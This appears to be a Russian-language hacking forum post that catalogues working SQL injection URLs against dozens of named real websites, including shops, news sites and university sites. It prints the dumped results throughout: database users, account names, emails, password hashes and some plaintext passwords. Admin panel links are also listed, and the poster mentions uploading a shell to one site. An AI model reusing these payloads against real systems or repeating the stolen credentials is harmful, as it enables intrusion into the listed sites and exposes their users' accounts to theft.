SQL Инъекции

version 5.0.67-log
user humblefool

 

_http://sideko.ru/index.php?categ=-74+union+select+111,concat_ws(0x3a,version(),database(),user()),3--&parent=61'&p=shop&navop=61'&area=1&sort=time_desc

5.0.22:admin_sidb:admin_sidb@localhost

инфу можно просмотреть в исходнике страници, в теге

_http://sideko.ru/index.php?categ=-74+union+select+111,concat_ws(0x3a,name,uname,email,pass),3+from+kpro_user--&parent=61'&p=shop&navop=61'&area=1&sort=time_desc

Администратор:Administrator:[email protected]:adc2db1bff610b3d8273936236558883

 

_http://www.restoran27.ru/?a=articles_full&id=-479+union+select+1,concat_ws(0x3a,version(),database(),user()),3+--
5.0.77:restoran27:restoran27@localhost


_http://www.restoran27.ru/?a=articles_full&id=-479+union+select+1,concat_ws(0x3a,login,pass),3+from+users+limit+0,1--
Rem-x:38166fa5a6b227dd6b4a7cb415095520

hash:260280

 

[PR 3]

Code:

http://www.ultramarine.com.ua/info.php?id=-2+union+select+1,2,concat_ws(0x3a,version(),database(),user())

4.1.22-log:ultramar:u_redact@localhost

mssql-inj

[PR 5]

Code:

http://www.sparkle.com.tw/product.asp?id=94+or+1=@@version--
http://www.sparkle.com.tw/product.asp?id=94+or+1=(select+db_name())--
http://www.sparkle.com.tw/product.asp?id=94+or+1=(select+system_user)--
http://www.sparkle.com.tw/product.asp?id=94+or+1=(select+top+1+table_name+from+information_schema.tables)--

[PR 4]

Code:

http://www.thinklogical.com/product.asp?ID=49+or+1=@@version--
http://www.thinklogical.com/product.asp?ID=49+or+1=(select+db_name())--
http://www.thinklogical.com/product.asp?ID=49+or+1=(select+system_user)--
http://www.thinklogical.com/product.asp?ID=49+or+1=(select+top+1+table_name+from+information_schema.tables)--

 

Еда пр4
http://zone.missouri.edu/schedule.php?semester=Fall&year=-2008+union+select+1,2,3,4,5,concat_ws(0x3a3a,username,password,level),7,8,9,10,11,12,13,14+from+admin+/*+

tmeans:ass::0
zone_mentors::zonefolks::0

http://zone.missouri.edu/Admin/

 

http://career.mgimo.ru/external/events/partner.php?act=show&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11/*

 

<<Бизнес портaл новосибирска>>

Code:

http://www.novosib.ru/market/offer.php?id=-2579+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),0,1,2,3,4,5--+

4.1.22-log:novosib8_mamba:novosib8_sgv@localhostortbld-freebsd6.1

 

http://www.organicavenue.com/products/news.php?id=-1/**/union/**/all/**/select/**/1,2,3,4,database(),user(),7,8,9,10 from products/*

products
denisemari@localhost


http://www.hardwarehaber.com/haberbak.php?id=-1/**/union/**/all/**/select/**/1,2,3,4,5,database(),7,user(),version(),10,11,12,13,14,15,16/*

hardwarehaber
root@localhost
5.0.32-Debian_7etch3-log



http://www.aysu.de/haber.php?id=-1/**/union/**/all/**/select/**/1,2,3,4,5,database(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,user(),24,25,26,27,28,29/*

dbaysu_1
aysu@localhost

 

Газета юрист.
PR - 5

user() - [email protected]
database() - u74105_yur
version() - 5.0.67-log
@@version_compile_os - unknown-freebsd6.3

Code:

http://www.gazeta-yurist.ru/article.php?i=-397+union+select+version(),user(),3,4,5,6++--

 

Еда ПР6
http://www.sierranevada.edu/pictures/photo/?aid=-191'+union+select+1,2,3,concat(username,char(58),password),5,6,7+from+usr+--+&index=2
rstriffler:16908b0605f2645dfcb4c3a8d248cef3:80 - events
CindyM:bccef78390596a8a3069b548b9c9214f:32 - incline
SchuylerH:bccef78390596a8a3069b548b9c9214f:33 - incline
.....................

 

Морские сражения

http://navyfield.ru/index.php?page_id=1'+or+1=@@version--

http://navyfield.ru/index.php?page_id=1'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('phpbb_bots'))--

Нету дампера mssql... вот и лениво

ЗЫ: Чувствую,что это такой боян,что ппц...

 

Code:

http://www.safariclub.ru/field.php?action=view&id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13--&status=1

netsoft@localhost:netsoft_safari:5.0.45

PR: 4
тИЦ: 100

Code:

http://www.patrioty.info/field.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4--

patrioty_patriot@localhostatrioty_paintball:5.0.67-community

Code:

http://www.patrioty.info/field.php?id=-1+union+select+1,2,concat_ws(0x3a,id,login,password),4+from+users_cp--

10:admin:dfer54

http://patrioty.info/admin/ - админка. Шелл льётся =)

 

ПР6
http://nccsdataweb.urban.org/faq/detail.php?linkID=-805+union+select+1,2,user,password,5,6,7,8,9,10,11,12,13+from+mysql.user+limit+1,1/*&category=9
jdurnford::1030bc2d72167683

http://www.avalonmicro.ca/products/index.php?Category=-6+union+select+table_name+from+information_schema.tables+--+
user_registration

http://www.amprofon.com.mx/noticias.php?id=-12+union+select+1,2,user,4+from+usuarios--
apcmmexico

 

Joomla com_akogallery

http://www.kaminfeger.com/index.php?option=com_akogallery&Itemid=51index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-334455/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*

admin c564660bacebedf0e02d3a409f29cd5b ??????


http://www.wenatcheecares.org/user.php?id=-14+union+select+1,2,3,4,concat_ws(0x3a,user_nickna me,user_passwd),6,7,8,9,10,11+from+users

Pastor Andrew:547d4e455674d06bd4d40475796f6944 pass : wencares

http://www.wenatcheecares.org/login.php

 

http://www.gradschool.cornell.edu/index.php?p=-1+union+select+1,2,3,4,5,concat_ws(version(),database(),user()),7,8,9,10,11,12--

 

http://www.digischool.nl/gcards/getnewsitem.php?newsid=1+union+select+1,2,concat(username,char(45),userpass),4,5+FROM+gc_cardusers--

Fred Capel-240430a0ea35050f1dea47d2a13d3be4 ???

admin panel

http://www.digischool.nl/gcards/login.php